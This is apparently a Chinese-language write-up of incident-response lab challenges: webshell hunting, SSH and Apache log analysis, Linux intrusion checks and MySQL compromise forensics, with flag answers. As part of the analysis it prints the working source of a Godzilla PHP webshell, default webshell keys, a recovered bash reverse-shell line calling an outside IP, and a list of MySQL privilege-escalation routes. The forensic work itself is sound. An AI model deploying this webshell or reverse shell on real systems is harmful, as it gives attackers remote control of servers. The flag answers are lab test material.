第一章 应急响应-webshell查杀

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
这里先去把/var/www/html下的文件先down下来
tar -czvf /tmp/html_backup.tar.gz /var/www/html
然后丢给d盾去扫
这里就分别去查看就行




这里可以看见gz.php注释里有一段uuid类似flag的
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
这里继续去看gz.php
php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
这里可以看见$key的是哥斯拉的默认值,算是经验吧,给出对比
| 工具 | 常见源码特征 | 常见默认值/变量 | 判断重点 |
|---|---|---|---|
| 哥斯拉 Godzilla | payloadName、 S E S S I O N _SESSION\[ SESSION\[payloadName、encode()、run( d a t a ) 、 e v a l ( data)、eval( data)、eval(payload) | $key='3c6e0b8a9c15224a',来自 md5("key") 前 16 位 | 动态 payload 存 session,后续 run($data) 执行 |
| 冰蝎 Behinder | php://input、openssl_decrypt、AES、$_SESSION'k'、base64_decode、eval | 常见 $key='e45e329feb5d925b',来自 md5("rebeyond") 前 16 位 | AES 加密通信,原始 POST body,不一定有普通参数名 |
| 蚁剑 AntSword | @eval( P O S T ′ x x x ′ ) 、 a s s e r t ( _POST'xxx')、assert( POST′xxx′)、assert(_POST'xxx')、base64_decode($_POST'xxx') | 参数名常见 ant、pass、cmd,但不固定 | 更像客户端管理普通一句话马,源码结构不如哥斯拉/冰蝎固定 |
所以可以确定webshell工具就是哥斯拉,官方github地址:https://github.com/BeichenDream/Godzilla
flag{39392de3218c333f794befef07ac9257}
3.黑客隐藏shell的完整路径的md5 flag{md5}
注 : /xxx/xxx/xxx/xxx/xxx.xxx
隐藏shell直接看D盾里扫出来的.Mysqli.php的隐藏文件
完整路径就是/var/www/html/include/Db/.Mysqli.php
md5后为flag:flag{aebac0e58cd6c5fad1695ee4d1ac1919}
4.黑客免杀马完整路径 md5 flag{md5}
所谓免杀马,就是绕过安全检测,使木马正常工作的方式,关于 PHP 免杀可以参考# PHP从零学习到Webshell免杀手册,简单来说,PHP 免杀马通常字符串异或加密、Base 家族加密、rot13加密、字符串拼接等方式实现,这里我们对 Base64 编码进行查杀,依然是手动搜索
基本上就能看见top.php
所以/var/www/html/wap/top.php
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
第一章 应急响应-Linux日志分析
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割 小到大排序
老样子先把目录打包down下来,然后放Kali
tar -czvf /tmp/html_backup.tar.gz /var
首先要知道目录常见位置,然后确定做题思路,就是要知道常见的文件位置存放处
| 日志文件 | 说明 |
|---|---|
/var/log/auth.log |
Debian/Ubuntu/Kali 认证日志,记录 SSH 登录、sudo、su、用户认证等 |
/var/log/secure |
CentOS/RHEL 认证日志,记录 SSH 登录、sudo、su、用户认证等 |
/var/log/wtmp |
记录成功登录、注销、重启、关机事件 |
/var/log/btmp |
记录失败登录事件 |
/var/log/lastlog |
记录每个用户最后一次登录信息 |
/var/run/utmp |
记录当前已登录用户信息 |
/var/log/syslog |
Debian/Ubuntu 系统综合日志 |
/var/log/messages |
CentOS/RHEL 系统综合日志 |
/var/log/daemon.log |
记录系统后台服务运行日志 |
/var/log/kern.log |
记录内核相关日志 |
/var/log/dmesg |
记录系统启动时的内核缓冲信息 |
/var/log/boot.log |
记录系统启动过程日志 |
/var/log/cron |
CentOS/RHEL 计划任务执行日志 |
/var/log/maillog |
CentOS/RHEL 邮件服务日志 |
/var/log/mail.log |
Debian/Ubuntu 邮件服务日志 |
/var/log/apt/history.log |
apt 软件安装、卸载、升级历史 |
/var/log/apt/term.log |
apt 执行过程详细输出 |
/var/log/dpkg.log |
Debian/Ubuntu dpkg 软件包操作日志 |
/var/log/yum.log |
CentOS/RHEL yum 软件安装、更新日志 |
/var/log/dnf.log |
Fedora/RHEL 8+ dnf 软件安装、更新日志 |
/var/log/audit/audit.log |
auditd 审计日志,记录系统调用、权限、文件访问等 |
/var/log/faillog |
用户登录失败统计日志 |
/var/log/tallylog |
PAM 登录失败统计日志,部分系统存在 |
/var/log/nginx/access.log |
Nginx Web 访问日志 |
/var/log/nginx/error.log |
Nginx 错误日志 |
/var/log/apache2/access.log |
Debian/Ubuntu Apache 访问日志 |
/var/log/apache2/error.log |
Debian/Ubuntu Apache 错误日志 |
/var/log/httpd/access_log |
CentOS/RHEL Apache 访问日志 |
/var/log/httpd/error_log |
CentOS/RHEL Apache 错误日志 |
/usr/local/tomcat/logs/catalina.out |
Tomcat 主运行日志 |
/usr/local/tomcat/logs/localhost_access_log.*.txt |
Tomcat HTTP 访问日志 |
/var/log/mysql/error.log |
MySQL/MariaDB 错误日志 |
/var/log/mysqld.log |
CentOS/RHEL MySQL 错误日志 |
/var/lib/mysql/mysql-bin.* |
MySQL 二进制日志,记录数据库写操作 |
/root/.bash_history |
root 用户历史命令 |
/home/*/.bash_history |
普通用户 Bash 历史命令 |
/home/*/.zsh_history |
普通用户 Zsh 历史命令 |
/etc/passwd |
系统用户账户信息 |
/etc/shadow |
用户密码 Hash 和密码策略信息 |
/etc/group |
用户组信息 |
/etc/sudoers |
sudo 权限配置 |
/etc/sudoers.d/ |
sudo 权限扩展配置目录 |
/etc/crontab |
系统级计划任务配置 |
/etc/cron.d/ |
系统计划任务配置目录 |
/var/spool/cron/ |
CentOS/RHEL 用户计划任务目录 |
/var/spool/cron/crontabs/ |
Debian/Ubuntu 用户计划任务目录 |
/root/.ssh/authorized_keys |
root 用户 SSH 公钥登录配置 |
/home/*/.ssh/authorized_keys |
普通用户 SSH 公钥登录配置 |
这题题目说擦混看有多少爆破root
grep -a "Failed password for root" auth.log.1 | awk -F ' ' '{print $11}'|sort

排列组合一下就是flag{192.168.200.2,192.168.200.31,192.168.200.32}
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
首先我们要知道爆破成功的回显一般会有几个常见的字符Accepted,所以继续沿用上一个命令去对auth.log进行剖析

flag{192.168.200.2}
3.爆破用户名字典是什么?如果有多个使用","分割
Failed password for 用户名:账号存在、密码错(不在字典收集范围)
Failed password for invalid user 用户名:账号不存在 → 这就是爆破字典里的用户名

这里要知道192.168.200.2的用户名是root,所以提取出来
for root from
for invalid user from
for invalid user hello from
列的位置不一样这里稍微调整一下

继续提取for和from之间的内容就不要要列行了
flag{root,user,hello,test3,test2,test1}
4.登陆成功的IP共爆破了多少次
这里首先要找到我们要找的爆破成功的ip,在加上root
grep -a "Accepted" auth.log.1 | awk '{print $11}' | sort -u

grep -a "Failed password for root" auth.log.1 | grep "192.168.200.2"|wc -l

flag{4}
第一章日志分析-apache日志分析
先down下来/var
tar -czvf /tmp/html_backup.tar.gz /var/
首先要知道Linux apache日志的位置
| 系统 | 服务名 | 访问日志 |
|---|---|---|
| Kali/Ubuntu/Debian | apache2 | /var/log/apache2/access.log |
| CentOS/RHEL | httpd | /var/log/httpd/access_log |
提交当天访问次数最多的IP,即黑客IP:
这里简单的看看access.log,但是没看见东西,继续看access.log.1
awk '{print $1}' access.log.1 |sort|uniq -c

黑客使用的浏览器指纹是什么,提交指纹的md5:
Apache 默认访问日志格式:
IP 空值 空值 [时间] "请求" 状态码 大小 "来路" "User-Agent"
先去匹配192.168.200.2再去配合使用正则Apache 日志里的 User-Agent最后去重输出
grep "192.168.200.2" access.log.1 | grep -o '"[^"]*"' | sort | uniq -c

这里能看见有个最多的,将这部分md5输出

flag{2d6330f380f44ac20f3a02eed0958f66}
查看包含index.php页面被访问的次数,提交次数:(不包括/xxx/index.php只筛选/index.php)
这里就是最简单的提取了/index.php
grep '/index.php' | wc -l

查看黑客IP访问了多少次,提交次数:
前面我们知道ip为192.168.200.2
grep '192.168.200.2' access.log.1|wc -l
但是发现有问题,这里回显是6556,后面提交flag发现不对劲,于是又去换了个命令
grep -c '^192.168.200.2 ' access.log.1

后面排查的时候想到可能也把192.168.200.211也算进去了,不够严谨了
flag{6556}
查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:
思路:Apache 日志时间格式类似 [03/Aug/2023:08:xx:xx +时区]
grep "\[03/Aug/2023:08:" access.log.1 | awk '{print $1}' | sort -u | wc -l

flag{5}
第一章 应急响应- Linux入侵排查
tar -czvf /tmp/linux-check.tar.gz /var/
web目录存在木马,请找到木马的密码提交

flag{1}
服务器疑似存在不死马,请找到不死马的密码提交
看d盾扫出来的马.shell

echo "5d41402abc4b2a76b9719d911017c592" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

flag{hello}
不死马是通过哪个文件生成的,请提交文件名
继续跟着d盾的路径去看index.php发现写入的不死马

flag{index.php}
黑客留下了木马文件,请找出黑客的服务器ip提交
目录下有个.elf文件,这里直接查看这个文件为32位

给文件加权限直接尝试运行
strace -f -e trace=network,execve ./shell\(1\).elf

这里直接使用strace监听运行这个elf文件,这里看回显直接吐出监听的反弹shell回显(10.11.55.21:3333)
flag{10.11.55.21}
黑客留下了木马文件,请找出黑客服务器开启的监端口提交
flag{3333}
第一章日志分析-mysql应急响应
还是先down下源码
tar -czvf /tmp/mysql-check.tar.gz /var/
MySQL 关键日志类型 & 默认路径
| 日志类型 | 作用 | Linux 默认路径 |
|---|---|---|
| 错误日志 error.log | 启动失败、崩溃、权限报错、异常登录、初始化故障 | /var/log/mysql/error.log |
| 通用查询日志 general_log | 记录所有连接、所有执行 SQL(暴力猜账号、恶意查询、删库 DROP 全记录) | 关闭默认开启,开启后:/var/lib/mysql/主机名.log |
| 慢查询日志 slow.log | 执行超时 SQL、全表扫描,排查拖库、恶意批量查询 | /var/lib/mysql/主机名-slow.log |
| 二进制日志 binlog(核心) | 记录增删改 DML、建表删库 DDL、账号创建 / 授权,可回滚数据、溯源入侵操作 | mysql-bin.000001 系列,数据目录下 |
1.黑客第一次写入的shell flag{关键字符串}
先使用d盾扫


flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
黑客反弹shell的ip
去查看/var/log/mysql/error.log
日志不长,可以直接看见这个/tmp/1.sh很突出

查看1.sh的具体如下,可以发现攻击者反弹 Shell 的 IP,这段脚本启动了 Bash Shell,将流量重定向到 TCP 连接上,实现反弹 Shell 的目的,故 Flag 为192.168.100.13
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
flag{192.168.100.13}
寻找提权文件
mysql提权:
- UDF 提权
- MOF 提权
- 启动项提权
- CVE-2016-6663
1)UDF 相关
- Linux:
plugin_dir下陌生.so、/usr/lib/mysql/、/usr/lib64/mysql/ - Windows:
plugin_dir下udf.dll、libmysql.dll异常修改 - SQL 日志检索:
CREATE FUNCTION,SONAME,sys_eval
2)MOF(仅老 Windows)
C:\Windows\System32\wbem\mof\` 所有新增、近期修改 `.mof
3)启动项 + 自启动(windows)
- 开机启动目录、注册表
HKLM\Software\Microsoft\Windows\CurrentVersion\Run - 系统服务列表新增未知服务
4)CVE-2016-6663-CVE-2016-6664
CVE-2016-6663 仅影响 Linux 系统,Oracle MySQL 5.5≤5.5.51、5.6≤5.6.32、5.7≤5.7.14,对应低版本 MariaDB、Percona Server 均受漏洞波及,MySQL 8.0 不受影响
这里先看一下mysql版本,只能udf提权了

直接去/usr/lib/mysql/plugin

有两个so有可写的权限
看见udf.so是一句话木马
flag{B1818BDE4E310F3D23F1005185B973E7}
黑客获取的权限 flag{whoami后的值}
ps aux | grep mysql

这里直接看进程本想着提取mysql有关的结果发现用户名user=mysql
flag{mysql}